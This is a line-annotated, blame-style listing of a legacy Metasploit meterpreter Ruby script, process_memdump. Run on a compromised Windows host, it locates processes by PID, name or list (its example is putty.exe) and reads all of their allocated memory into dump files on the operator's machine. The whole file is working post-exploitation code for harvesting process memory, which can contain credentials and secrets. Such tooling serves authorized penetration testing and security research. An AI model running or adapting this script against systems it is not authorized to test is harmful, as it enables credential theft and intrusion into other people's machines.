2014-09-16 23:41:14 +02:00
|
|
|
##
|
|
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
2018-02-13 12:30:05 +01:00
|
|
|
# If you'd like to improve this script, please try to port it as a post
|
2014-09-16 23:41:14 +02:00
|
|
|
# module instead. Thank you.
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
|
2010-09-16 19:38:54 +02:00
|
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
|
|
# Note: Script is based on the paper Neurosurgery With Meterpreter by
|
|
|
|
# Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com)
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
################## Variable Declarations ##################
|
|
|
|
require 'fileutils'
|
2010-11-08 02:21:42 +01:00
|
|
|
@client = client
|
2010-09-16 19:38:54 +02:00
|
|
|
pid = nil
|
|
|
|
name = nil
|
|
|
|
toggle = nil
|
2010-09-16 21:51:35 +02:00
|
|
|
resource = nil
|
2010-09-17 04:37:43 +02:00
|
|
|
query = false
|
|
|
|
|
2013-07-03 15:53:46 +02:00
|
|
|
@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 20:47:53 +02:00
|
|
|
"-h" => [ false, "Help menu." ],
|
|
|
|
"-p" => [ true, "PID of process to dump."],
|
|
|
|
"-n" => [ true, "Name of process to dump."],
|
2024-01-07 19:20:40 +01:00
|
|
|
"-r" => [ true, "Text file with list of process names to dump memory for, one per line."],
|
2013-09-30 20:47:53 +02:00
|
|
|
"-t" => [ false, "toggle location information in dump."],
|
|
|
|
"-q" => [false, "Query the size of the Process that would be dump in bytes."]
|
2010-09-16 19:38:54 +02:00
|
|
|
)
|
|
|
|
|
2013-07-03 15:53:46 +02:00
|
|
|
def usage
|
2013-09-30 20:47:53 +02:00
|
|
|
print_line("")
|
|
|
|
print_line("USAGE:")
|
|
|
|
print_line("EXAMPLE: run process_memdump putty.exe")
|
|
|
|
print_line("EXAMPLE: run process_memdump -p 1234")
|
|
|
|
print_line(@exec_opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2013-07-03 15:53:46 +02:00
|
|
|
end
|
|
|
|
|
|
|
|
@exec_opts.parse(args) { |opt, idx, val|
|
2013-09-30 20:47:53 +02:00
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
usage
|
|
|
|
when "-p"
|
|
|
|
pid = val
|
|
|
|
when "-n"
|
|
|
|
name = val
|
|
|
|
when "-t"
|
|
|
|
toggle = true
|
|
|
|
when "-q"
|
|
|
|
query = true
|
|
|
|
when "-r"
|
|
|
|
list = val
|
|
|
|
resource = ""
|
2016-04-20 14:11:34 +02:00
|
|
|
if not ::File.exist?(list)
|
2020-12-23 04:36:38 +01:00
|
|
|
raise "Command List File does not exist!"
|
2013-09-30 20:47:53 +02:00
|
|
|
else
|
|
|
|
::File.open(list, "r").each_line do |line|
|
|
|
|
resource << line
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2010-09-16 19:38:54 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
|
2010-09-17 02:26:34 +02:00
|
|
|
# Function for finding the name of a process given it's PID
|
2010-09-16 19:38:54 +02:00
|
|
|
def find_procname(pid)
|
2013-09-30 20:47:53 +02:00
|
|
|
name = nil
|
|
|
|
@client.sys.process.get_processes.each do |proc|
|
|
|
|
if proc['pid'] == pid.to_i
|
|
|
|
name = proc['name']
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return name
|
2010-09-16 19:38:54 +02:00
|
|
|
end
|
|
|
|
|
2010-09-17 02:26:34 +02:00
|
|
|
# Find all PID's for a given process name
|
2010-09-16 19:38:54 +02:00
|
|
|
def find_pids(name)
|
2013-09-30 20:47:53 +02:00
|
|
|
proc_pid = []
|
|
|
|
@client.sys.process.get_processes.each do |proc|
|
|
|
|
if proc['name'].downcase == name.downcase
|
|
|
|
proc_pid << proc['pid']
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return proc_pid
|
2010-09-16 19:38:54 +02:00
|
|
|
end
|
2010-09-17 02:26:34 +02:00
|
|
|
|
|
|
|
# Dumps the memory for a given PID
|
2010-09-16 19:38:54 +02:00
|
|
|
def dump_mem(pid,name, toggle)
|
2013-09-30 20:47:53 +02:00
|
|
|
host,port = @client.session_host, session.session_port
|
|
|
|
# Create Filename info to be appended to created files
|
|
|
|
filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
# Create a directory for the logs
|
|
|
|
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump')
|
|
|
|
# Create the log directory
|
|
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
#Dump file name
|
|
|
|
dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp"
|
|
|
|
print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}")
|
|
|
|
begin
|
|
|
|
dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ)
|
|
|
|
rescue
|
|
|
|
print_error("Could not open process for reading memory!")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
# MaximumApplicationAddress for 32bit or close enough
|
|
|
|
maximumapplicationaddress = 2147418111
|
|
|
|
base_size = 0
|
|
|
|
while base_size < maximumapplicationaddress
|
|
|
|
mbi = dump_process.memory.query(base_size)
|
|
|
|
# Check if Allocated
|
|
|
|
if mbi["Available"].to_s == "false"
|
|
|
|
file_local_write(dumpfile,mbi.inspect) if toggle
|
|
|
|
file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"]))
|
|
|
|
print_status("\tbase size = #{base_size/1024}")
|
|
|
|
end
|
|
|
|
base_size += mbi["RegionSize"]
|
|
|
|
end
|
|
|
|
print_status("Saving Dumped Memory to #{dumpfile}")
|
2011-10-23 13:56:13 +02:00
|
|
|
|
2010-09-16 19:38:54 +02:00
|
|
|
end
|
2010-09-17 02:26:34 +02:00
|
|
|
|
2010-09-17 13:46:16 +02:00
|
|
|
# Function to query process Size
|
2010-09-17 04:37:43 +02:00
|
|
|
def get_mem_usage( pid )
|
2013-09-30 20:47:53 +02:00
|
|
|
p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )
|
|
|
|
if( p )
|
|
|
|
begin
|
2010-09-17 04:37:43 +02:00
|
|
|
|
2013-09-30 20:47:53 +02:00
|
|
|
if( not @client.railgun.get_dll( 'psapi' ) )
|
|
|
|
@client.railgun.add_dll( 'psapi' )
|
|
|
|
end
|
2010-09-17 04:37:43 +02:00
|
|
|
|
2013-09-30 20:47:53 +02:00
|
|
|
# http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx
|
|
|
|
if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] )
|
|
|
|
@client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [
|
|
|
|
[ "HANDLE", "hProcess", "in" ],
|
|
|
|
[ "PBLOB", "ProcessMemoryCounters", "out" ],
|
|
|
|
[ "DWORD", "Size", "in" ]
|
|
|
|
]
|
|
|
|
)
|
|
|
|
end
|
2010-09-17 04:37:43 +02:00
|
|
|
|
2013-09-30 20:47:53 +02:00
|
|
|
r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )
|
|
|
|
if( r['return'] )
|
|
|
|
pmc = r['ProcessMemoryCounters']
|
|
|
|
# unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx)
|
|
|
|
# Note: As we get the raw structure back from railgun we need to account
|
|
|
|
# for SIZE_T variables being 32bit on x86 and 64bit on x64
|
|
|
|
mem = nil
|
2017-04-26 06:31:39 +02:00
|
|
|
if( @client.arch == 'x86' )
|
2013-09-30 20:47:53 +02:00
|
|
|
mem = pmc[12..15].unpack('V').first
|
2017-04-26 06:31:39 +02:00
|
|
|
elsif( @client.arch == 'x64' )
|
2013-09-30 20:47:53 +02:00
|
|
|
mem = pmc[16..23].unpack('Q').first
|
|
|
|
end
|
|
|
|
return (mem/1024)
|
|
|
|
end
|
|
|
|
rescue
|
|
|
|
p "Exception - #{$!}"
|
|
|
|
end
|
2010-09-17 04:37:43 +02:00
|
|
|
|
2013-09-30 20:47:53 +02:00
|
|
|
p.close
|
|
|
|
end
|
2010-09-17 04:37:43 +02:00
|
|
|
|
2013-09-30 20:47:53 +02:00
|
|
|
return nil
|
2010-09-17 04:37:43 +02:00
|
|
|
end
|
|
|
|
|
2010-09-17 13:46:16 +02:00
|
|
|
# Main
|
2017-04-26 06:31:39 +02:00
|
|
|
if client.platform == 'windows'
|
2013-09-30 20:47:53 +02:00
|
|
|
if resource
|
|
|
|
resource.each do |r|
|
|
|
|
next if r.strip.length < 1
|
|
|
|
next if r[0,1] == "#"
|
|
|
|
print_status("Dumping memory for #{r.chomp}") if not query
|
|
|
|
pids = find_pids(r.chomp)
|
|
|
|
if pids.length == 0
|
|
|
|
print_status("\tProcess #{r.chomp} not found!")
|
|
|
|
next
|
|
|
|
end
|
|
|
|
pids.each do |p|
|
|
|
|
print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query
|
|
|
|
dump_mem(p,r.chomp,toggle) if not query
|
|
|
|
end
|
|
|
|
end
|
|
|
|
elsif pid
|
|
|
|
name = find_procname(pid)
|
|
|
|
print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query
|
|
|
|
print_status("Dumping memory for #{name}") if not query
|
|
|
|
dump_mem(pid,name,toggle) if not query
|
|
|
|
elsif name
|
|
|
|
print_status("Dumping memory for #{name}") if not query
|
|
|
|
find_pids(name).each do |p|
|
|
|
|
print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query
|
|
|
|
dump_mem(p,name,toggle) if not query
|
|
|
|
end
|
|
|
|
else
|
|
|
|
usage
|
|
|
|
end
|
2010-09-16 19:38:54 +02:00
|
|
|
else
|
2013-09-30 20:47:53 +02:00
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
2012-02-29 02:28:47 +01:00
|
|
|
end
|